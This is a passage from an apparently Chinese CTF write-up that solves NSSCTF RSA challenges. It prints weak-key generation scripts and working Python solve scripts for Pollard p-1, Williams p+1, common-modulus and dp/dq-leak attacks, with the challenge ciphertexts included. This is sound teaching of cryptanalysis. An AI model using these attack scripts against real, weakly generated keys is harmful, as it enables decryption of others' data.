class="line"> <span class="keyword">return</span> p+<span class="number">1</span></span><br><span class="line"></span><br><span class="line">p = getMyPrime(<span class="number">256</span>)</span><br><span class="line">q = getMyPrime(<span class="number">256</span>)</span><br><span class="line"></span><br><span class="line">n = p*q</span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">m = bytes_to_long(flag)</span><br><span class="line"></span><br><span class="line">c = <span class="built_in">pow</span>(m, e, n)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f'n = <span class="subst">{n}</span>'</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f'e = <span class="subst">{e}</span>'</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f'c = <span class="subst">{c}</span>'</span>)</span><br><span class="line"></span><br><span class="line"><span class="string">'''</span></span><br><span class="line"><span class="string">n = 53763529836257082401813045869248978487210852880716446938539970599235060144454914000042178896730979463959004404421520555831136502171902051936080825853063287829</span></span><br><span class="line"><span class="string">e = 65537</span></span><br><span class="line"><span class="string">c = 50368170865606429432907125510556310647510431461588875539696416879298699197677994843344925466156992948241894107250131926237473102312181031875514294014181272618</span></span><br><span class="line"><span class="string">'''</span></span><br></pre></td></tr></table></figure><p>我们进到这个sieve_base里看<br><img src="/images/Pasted%20image%2020240724163509.png" alt="" loading="lazy"><br>发现这个是10000个素数，所以p就是n个小素数的乘积+1，那么我们可以得知，p-1就是个n-smooth数，根据光滑数的性质我们可以得知</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>g</mi><mi>c</mi><mi>d</mi><mo stretchy="false">(</mo><msup><mi>a</mi><mrow><mi>k</mi><mo stretchy="false">!</mo></mrow></msup><mo>−</mo><mn>1</mn><mo separator="true">,</mo><mi>n</mi><mo stretchy="false">)</mo><mo>=</mo><mi>p</mi></mrow><annotation encoding="application/x-tex">gcd(a^{k!}-1,n) = p</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03588em;">g</span><span class="mord mathnormal">c</span><span class="mord mathnormal">d</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span><span class="mclose mtight">!</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord mathnormal">p</span></span></span></span></span></p><p>所以我们可以尝试遍历这个k，来分解n<br>而我们也不需要每次都计算这个x!的值，可以直接通过模的性质来计算</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msup><mi>a</mi><mrow><mi>x</mi><mo>+</mo><mn>1</mn><mo stretchy="false">!</mo></mrow></msup><mo>≡</mo><mo stretchy="false">(</mo><msup><mi>a</mi><mrow><mi>x</mi><mo stretchy="false">!</mo></mrow></msup><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>n</mi><msup><mo stretchy="false">)</mo><mrow><mi>x</mi><mo>+</mo><mn>1</mn></mrow></msup><mo stretchy="false">(</mo><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">a^{x+1!}\equiv (a^{x!}\mod n)^{x+1}(\mod n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8991em;"></span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="mbin mtight">+</span><span class="mord mtight">1</span><span class="mclose mtight">!</span></span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1491em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal">a</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8991em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="mclose mtight">!</span></span></span></span></span></span></span></span></span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1.1141em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8641em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">x</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></span></p><p>那么我们的解密脚本就如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">n = <span class="number">53763529836257082401813045869248978487210852880716446938539970599235060144454914000042178896730979463959004404421520555831136502171902051936080825853063287829</span></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">c = <span class="number">50368170865606429432907125510556310647510431461588875539696416879298699197677994843344925466156992948241894107250131926237473102312181031875514294014181272618</span></span><br><span class="line"></span><br><span class="line">a = <span class="number">2</span></span><br><span class="line">m = <span class="number">2</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> a = <span class="built_in">pow</span>(a, m, n)</span><br><span class="line"> p = GCD(a-<span class="number">1</span>, n)</span><br><span class="line"> <span class="keyword">if</span> p != <span class="number">1</span> <span class="keyword">and</span> p != n:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> m += <span class="number">1</span></span><br><span class="line"></span><br><span class="line">q = n // p</span><br><span class="line"></span><br><span class="line">phi = (p-<span class="number">1</span>)*(q-<span class="number">1</span>)</span><br><span class="line">d = inverse(e, phi)</span><br><span class="line">m = <span class="built_in">pow</span>(c, d, n)</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(m))</span><br></pre></td></tr></table></figure><h2 id="RSA2-P7"><a class="headerlink" href="#RSA2-P7"></a>[RSA2]P7</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> random <span class="keyword">import</span> choice</span><br><span class="line"></span><br><span class="line">flag = <span class="string">b'NSSCTF{******}'</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getMyPrime</span>(<span class="params">nbits</span>):</span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> p = <span class="number">1</span></span><br><span class="line"> <span class="keyword">while</span> p.bit_length() <= nbits:</span><br><span class="line"> p *= choice(sieve_base)</span><br><span class="line"> </span><br><span class="line"> <span class="keyword">if</span> isPrime(p-<span class="number">1</span>):</span><br><span class="line"> <span class="keyword">return</span> p-<span class="number">1</span></span><br><span class="line"></span><br><span class="line">p = getMyPrime(<span class="number">256</span>)</span><br><span class="line">q = getMyPrime(<span class="number">256</span>)</span><br><span class="line"></span><br><span class="line">n = p*q</span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">m = bytes_to_long(flag)</span><br><span class="line"></span><br><span class="line">c = <span class="built_in">pow</span>(m, e, n)</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(<span class="string">f'n = <span class="subst">{n}</span>'</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f'e = <span class="subst">{e}</span>'</span>)</span><br><span class="line"><span class="built_in">print</span>(<span class="string">f'c = <span class="subst">{c}</span>'</span>)</span><br></pre></td></tr></table></figure><p>加密脚本如上<br>这次是变成了p+1是一个b-smooth数<br>p+1光滑就是使用了卢卡斯序列扩展得到了一个p的倍数，然后与n求公因数从而分解n<br>代码如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> itertools <span class="keyword">import</span> count</span><br><span class="line"></span><br><span class="line">n = <span class="number">63398538193562720708999492397588489035970399414238113344990243900620729661046648078623873637152448697806039260616826648343172207246183989202073562200879290937</span></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line">c = <span class="number">26971181342240802276810747395669930355754928952080329914687241779532014305320191048439959934699795162709365987652696472998140484810728817991804469778237933925</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">mlucas</span>(<span class="params">v, a, n</span>):</span><br><span class="line"> v1, v2 = v, (v ** <span class="number">2</span> - <span class="number">2</span>) % n</span><br><span class="line"> <span class="keyword">for</span> bit <span class="keyword">in</span> <span class="built_in">bin</span>(a)[<span class="number">3</span>:]: v1, v2 = ((v1 ** <span class="number">2</span> - <span class="number">2</span>) % n, (v1 * v2 - v) % n) <span class="keyword">if</span> bit == <span class="string">"0"</span> <span class="keyword">else</span> (</span><br><span class="line"> (v1 * v2 - v) % n, (v2 ** <span class="number">2</span> - <span class="number">2</span>) % n)</span><br><span class="line"> <span class="keyword">return</span> v1</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">primegen</span>():</span><br><span class="line"> <span class="keyword">yield</span> <span class="number">2</span></span><br><span class="line"> <span class="keyword">yield</span> <span class="number">3</span></span><br><span class="line"> <span class="keyword">yield</span> <span class="number">5</span></span><br><span class="line"> <span class="keyword">yield</span> <span class="number">7</span></span><br><span class="line"> <span class="keyword">yield</span> <span class="number">11</span></span><br><span class="line"> <span class="keyword">yield</span> <span class="number">13</span></span><br><span class="line"> ps = primegen() <span class="comment"># yay recursion</span></span><br><span class="line"> p = ps.__next__() <span class="keyword">and</span> ps.__next__()</span><br><span class="line"> q, sieve, n = p ** <span class="number">2</span>, {}, <span class="number">13</span></span><br><span class="line"> <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line"> <span class="keyword">if</span> n <span class="keyword">not</span> <span class="keyword">in</span> sieve:</span><br><span class="line"> <span class="keyword">if</span> n < q:</span><br><span class="line"> <span class="keyword">yield</span> n</span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> <span class="built_in">next</span>, step = q + <span class="number">2</span> * p, <span class="number">2</span> * p</span><br><span class="line"> <span class="keyword">while</span> <span class="built_in">next</span> <span class="keyword">in</span> sieve:</span><br><span class="line"> <span class="built_in">next</span> += step</span><br><span class="line"> sieve[<span class="built_in">next</span>] = step</span><br><span class="line"> p = ps.__next__()</span><br><span class="line"> q = p ** <span class="number">2</span></span><br><span class="line"> <span class="keyword">else</span>:</span><br><span class="line"> step = sieve.pop(n)</span><br><span class="line"> <span class="built_in">next</span> = n + step</span><br><span class="line"> <span class="keyword">while</span> <span class="built_in">next</span> <span class="keyword">in</span> sieve:</span><br><span class="line"> <span class="built_in">next</span> += step</span><br><span class="line"> sieve[<span class="built_in">next</span>] = step</span><br><span class="line"> n += <span class="number">2</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">ilog</span>(<span class="params">x, b</span>): <span class="comment"># greatest integer l such that b**l <= x.</span></span><br><span class="line"> l = <span class="number">0</span></span><br><span class="line"> <span class="keyword">while</span> x >= b:</span><br><span class="line"> x /= b</span><br><span class="line"> l += <span class="number">1</span></span><br><span class="line"> <span class="keyword">return</span> l</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">attack</span>(<span class="params">n</span>):</span><br><span class="line"> <span class="keyword">for</span> v <span class="keyword">in</span> count(<span class="number">1</span>):</span><br><span class="line"> <span class="keyword">for</span> p <span class="keyword">in</span> primegen():</span><br><span class="line"> e = ilog(isqrt(n), p)</span><br><span class="line"> <span class="keyword">if</span> e == <span class="number">0</span>:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"> <span class="keyword">for</span> _ <span class="keyword">in</span> <span class="built_in">range</span>(e):</span><br><span class="line"> v = mlucas(v, p, n)</span><br><span class="line"> g = gcd(v - <span class="number">2</span>, n)</span><br><span class="line"> <span class="keyword">if</span> <span class="number">1</span> < g < n:</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">int</span>(g), <span class="built_in">int</span>(n // g) <span class="comment"># g|n</span></span><br><span class="line"> <span class="keyword">if</span> g == n:</span><br><span class="line"> <span class="keyword">break</span></span><br><span class="line"></span><br><span class="line">p, q = attack(n)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">phi = (p-<span class="number">1</span>)*(q-<span class="number">1</span>)</span><br><span class="line">d = invert(e, phi)</span><br><span class="line">m = powmod(c, d, n)</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(m))</span><br></pre></td></tr></table></figure><h2 id="RSA2-P8"><a class="headerlink" href="#RSA2-P8"></a>[RSA2]P8</h2><p>我们的目的也就是找出一个可以使得</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>s</mi><mn>1</mn></msub><mo>×</mo><msub><mi>e</mi><mn>1</mn></msub><mo>+</mo><msub><mi>s</mi><mn>2</mn></msub><mo>×</mo><msub><mi>e</mi><mn>2</mn></msub><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">s_{1}\times e_{1} + s_{2}\times e_{2} = 1 </annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">s</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">e</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span></span></p><p>那么我们就可以使得c1xc2=m mod n<br>我们也就可以据此求得m<br>这里要使用欧几里得扩展算法，具体代码如下</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">n = <span class="number">120294155186626082670474649118722298040433501930335450479777638508444129059776534554344361441717048531505985491664356283524886091709370969857047470362547600390987665105196367975719516115980157839088766927450099353377496192206005171597109864609567336679138620134544004766539483664270351472198486955623315909571</span></span><br><span class="line">e1 = <span class="number">38317</span></span><br><span class="line">e2 = <span class="number">63409</span></span><br><span class="line">c1 = <span class="number">42703138696187395030337205860503270214353151588149506110731264952595193757235229215067638858431493587093612397165407221394174690263691095324298012134779703041752810028935711214038835584823385108771901216441784673199846041109074467177891680923593206326788523158180637665813642688824593788192044139055552031622</span></span><br><span class="line">c2 = <span class="number">50460092786111470408945316270086812807230253234809303694007902628924057713984397041141665125615735752600114964852157684904429928771531639899496987905067366415806771003121954852465731110629459725994454904159277228514337278105207721011579794604761255522391446534458815389983562890631994726687526070228315925638</span></span><br><span class="line"></span><br><span class="line">_, s1, s2 = gcdext(e1, e2)</span><br><span class="line"></span><br><span class="line">m = powmod(c1, s1, n)*powmod(c2, s2, n) % n</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(m))</span><br></pre></td></tr></table></figure><h2 id="RSA2-P9"><a class="headerlink" href="#RSA2-P9"></a>[RSA2]P9</h2><p>dp&&dq泄露的题目，我们直接用板子打</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> Crypto.Util.number <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> gmpy2 <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">p = <span class="number">13070310882303377463944295715444821218324151935347454554272870042925400761984585838979931730897626589859098834802923539617244712852188293321626061072925723</span></span><br><span class="line">q = <span class="number">10411551818233737389114520103233235272671271111546186997024935593000298916988792710521511848414549553426943998093077337023514210631662189798921671306236009</span></span><br><span class="line">c = <span class="number">62492280219693914005334023569480350249964827909276875032578276064973191654731196407886841145547165693859745313398152742796887457192397932684370631253099255490064673499746314452067588181106154875239985334051909867580794242253066085627399488604907196244465911471895118443199543361883148941963668551684228132814</span></span><br><span class="line">dp = <span class="number">11568639544706374912496682299967972464196129347160700749666263275305083977187758414725188926013198988871173614336707804756059951725809300386252339177953017</span></span><br><span class="line">dq = <span class="number">3455040841431633020487528316853620383411361966784138992524801280785753201070735373348570840039176552952269927122259706586236960440300255065994052962742469</span></span><br><span class="line"></span><br><span class="line">invp = invert(p, q)</span><br><span class="line">m1 = powmod(c, dp, p)</span><br><span class="line">m2 = powmod(c, dq, q)</span><br><span class="line">m = (((m2 - m1)*invp) % q)*p + m1</span><br><span class="line"><span class="built_in">print</span>(long_to_bytes(m))</span><br></pre></td></tr></table></figure><h2 id="RSA2-P10"><a class="headerlink" href="#RSA2-P10"></a>[RSA2]P10</h2><p>单纯的dp泄露，我们可以通过</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>e</mi><mo>×</mo><mi>d</mi><mo>≡</mo><mn>1</mn><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mi>ϕ</mi><mo stretchy="false">(</mo><mi>n</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">e\times d \equiv 1 \mod \phi(n)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">ϕ</span><span class="mopen">(</span><span class="mord mathnormal">n</span><span class="mclose">)</span></span></span></span></span></p><p>然后发现</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>d</mi><mi>p</mi></msub><mo>×</mo><mi>e</mi><mo>≡</mo><mn>1</mn><mspace></mspace><mspace width="1em"/><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow><mtext> </mtext><mtext> </mtext><mo stretchy="false">(</mo><mi>p</mi><mo>−</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">d_{p}\times e \equiv 1 \mod (p-1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9805em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">p</span></span></span></span></span><span class="vlist-s"></span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.4637em;"></span><span class="mord mathnormal">e</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≡</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span><span class="mspace allowbreak"></span><span class="mspace" style="margin-right:1em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord mathnormal">p</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span></span></p><p>然后因为dp<p-1 所以有k<e，那么我们可以直接遍历找到k</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 10</span></span><br><span class="line">n = <span class="number">79201858340517902370077926747686673001645933420450220163567700296597652438275339093680329918615445030212417351430952656177171126427547284822789947152085534939195866096891005587613262293569611913019639653984932469691636338705418303482885987114085769045348074530172292982433373154900841135911548332400167290083</span></span><br><span class="line">c = <span class="number">70109332985937768446301118795636999352761371683181615470371772202170324747707233792154935611826981798791499937601162039878070094663516868746240133223110650205575807753345252087103328657073552992431511929172241702073381723302143955977662087561904058172777520360991685289300855900793806183473523998422682944404</span></span><br><span class="line">dp = <span class="number">3098334089252415941833934532457314870210700261428241562420857845879512952043729097866485406309479489101668423603305497982177150304625615059119312238777275</span></span><br><span class="line">e = <span class="number">65537</span></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">1</span>,e):</span><br><span class="line"> <span class="keyword">if</span> (e * dp - <span class="number">1</span>) % i == <span class="number">0</span>:</span><br><span class="line"> p = ((e * dp - <span class="number">1</span>) // i ) +<span 